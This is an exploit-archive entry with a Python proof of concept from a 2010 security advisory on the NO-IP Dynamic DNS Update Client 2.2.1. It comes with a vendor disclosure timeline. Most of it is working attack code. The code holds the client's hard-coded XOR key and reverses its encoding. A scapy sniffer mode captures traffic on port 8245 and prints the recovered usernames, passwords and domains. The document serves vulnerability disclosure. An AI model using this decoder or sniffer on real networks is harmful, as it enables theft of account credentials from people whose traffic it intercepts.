NO-IP.com Dynamic DNS Update Client 2.2.1 – ‘Request’ Insecure Encoding Algorithm
#!/usr/bin/python """ |------------------------------------------------------------------| | __ __ | | _________ ________ / /___ _____ / /____ ____ _____ ___ | | / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ | | / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / | | \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ | | | | http://www.corelan.be:8800 | | security@corelan.be | | | |-------------------------------------------------[ EIP Hunters ]--| NO-IP.com Dynamic DNS Update Client (DUC) v2.2.1 Request Decoder http://www.corelan.be:8800/advisories.php?id=CORELAN-10-052 by: sinn3r http://twitter.com/_sinn3r Software Tested on: Windows XP SP3 ENG (victim) + BT4 Final (attacker) Greetz: Corelan Security Team & Offensive Security Exploit Database Team Special thanks to: Kurt from no-ip.com Description: DUC is a dynamic DNS update client that continually checks for IP changes in the background and automataically updates the DNS at NO-IP via HTTP. The username, password, and domain name can be decoded thus making the user more vulnerable to MITM attacks. We encourage v2 users to upgrade to v3 for this particular reason: http://www.no-ip.com/downloads.php?page=win3 Timeline: 03/10/2010 - Vendor Contacted. 03/19/2010 - Contacting the vendor again. 03/20/2010 - Initial response from vendor 03/25/2010 - Requesting for a patch update 03/26/2010 - Vendor replies, no update yet. 03/31/2010 - Requesting for a patch date again. 04/01/2010 - Vendor tells us they plan to release v3 on 4/15/2010. 04/17/2010 - v3 final delayed. Requesting for another update. 04/19/2010 - Vendor sets v3 release date to 4/27/2010. Proof of concept delivered. 04/27/2010 - v3 final delayed. 05/12/2010 - Requesting for another update. 05/18/2010 - Vendor sets v3 release date to 6/02/2010. 06/02/2010 - v3 final delayed. 06/12/2010 - Requesting final deadline. 06/22/2010 - Vendor releases v3 """ import base64 import re from scapy.all import * def decode(enc_request): """ The custom encoder consists of 3 stages: 1. Rearrange the request string in reverse (find the code at 0x00470259) 2. XOR the reversed string with a private key (find the code at 0x0046F868) 3. Base64 the XOR'd string (find the code at 0x004706D0) """ private_key = "9ICybvm/nqBpiSo0x8KNVBlZ1Ad96+8fPRHtX4+zBBuV00c" private_key_length = len(private_key) ## 1st Stage: Base64 Decoder stage1 = base64.decodestring(enc_request) ## 2nd Stage: The custom XOR algorithm stage2 = [] counter = 0 for byte in stage1: hex_byte = byte.encode("hex") #XOR key hex_value = private_key[counter].encode("hex") #Value int_byte = int(hex_byte, 16) #Convert hex to int for XOR int_value = int(hex_value, 16) #Convert hex to int for XOR xor = int_value ^ int_byte xor_char = chr(xor) stage2.append(xor_char) if counter >= private_key_length-1: counter = 0 else: counter += 1 ## 3rd stage: Reverse order stage2.reverse() stage3 = "".join(stage2) return stage3 #Secret def callback(pkt): """ The callback function for the scapy sniffer filter="tcp and port 8245" """ raw = pkt.sprintf("%Raw.load%") m = re.search("\?request=[a-zA-Z0-9=]+ ", raw) if m != None: encoded_request = m.group(0) encoded_request = encoded_request.replace("?request=", "") tmp = decode(encoded_request.strip()) secret = format(tmp) print "[*] I smell password!" print "%s\n" %secret def format(data): """ Modify the display format for your viewing pleasure """ data = data.replace("&", "\n") data = data.replace("pass=", "password=") data = data.replace("h[]=", "domain=") return data if __name__ == "__main__": try: print "|---------------------------------------------------------------|" print "| NO-IP.com Domain Update Client (DUC) v2.2.1 Request Decoder |" print "| Coded by sinn3r twitter.com/_sinn3r |" print "|---------------------------------------------------------------|\r\n" print "Mode 1: Basic (Use wireshark to sniff the string on port 8245 first)" print "Mode 2: Sniffer (Forward the traffic to this machine first.)\n" mode = raw_input("Select mode [1]: ") ## Basic Mode if mode == "1": #Listen on port 8245 with Wireshark to grab the REQUEST string #Example: "WCEiEQMeGEJTAjERGXUCXxsWPz0zNiwuQiQQBFpCWQs1" encoded_request = raw_input("Encoded string: ") if encoded_request != "": tmp = decode(encoded_request) secret = format(tmp) print secret ## Sniffer Mode elif mode == "2": print "[*] Sniffing for NO-IP traffic on port 8245..." print "[*] Press [CTRL] + [C] to stop sniffing.\n" sniffer = sniff(filter="tcp and port 8245", prn=callback) else: print "[*] Que?" except KeyboardInterrupt: print "\r\n[*] Good bye" sys.exit(0) |